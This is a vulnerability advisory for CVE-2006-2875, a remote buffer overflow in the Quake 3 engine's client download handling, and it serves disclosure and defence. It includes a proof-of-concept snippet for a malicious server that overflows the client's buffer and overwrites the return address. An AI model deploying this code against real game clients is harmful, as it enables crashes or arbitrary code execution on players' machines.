Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability

Bugtraq ID:	18271
Class:	Boundary Condition Error
CVE:	CVE-2006-2875
Remote:	Yes
Local:	No
Published:	Jun 05 2006 12:00AM
Updated:	Apr 13 2015 09:01PM
Credit:	Discovery is credited to Luigi Auriemma <[email protected]>.
Vulnerable:	id Software Quake 3 Arena 1.32c icculus.org Quake 3 0
Not Vulnerable:	icculus.org Quake 3 revision 796

Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability

The Quake 3 engine is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Remote attackers may exploit this issue to execute arbitrary machine code in the context of affected game clients. Failed exploit attempts will likely crash affected clients.

Quake 3 version 1.32c and Icculus.org Quake 3 revision 795 are vulnerable to this issue; other versions may also be affected. The affected game engine has been used to create many derivative games, which may also be affected.

Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability

The server may be modified to send data sufficient to demonstrate this issue. The following code should be added to the 'code/server/sv_client.c' source file, after the '// send the gamestate' command at approximately line 575:

// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i++) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i++) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return;

Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability

Solution:
Icculus.org has applied a fix to their Subversion repository to address this issue. Please contact the vendor for further information about obtaining and applying fixes.

Currently we are not aware of any vendor-supplied patches for this issue from iD Software, or other vendors that may be affected. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Quake 3 Engine CL_ParseDownload Remote Buffer Overflow Vulnerability

References:

• icculus.org/quake3 Home Page (icculus.org)
  
• id Software Home Page (id Software)
  
• Quake3 Arena Homepage (id Software)
  
• Client buffer-overflow in Quake 3 engine (1.32c / rev 795) (Luigi Auriemma )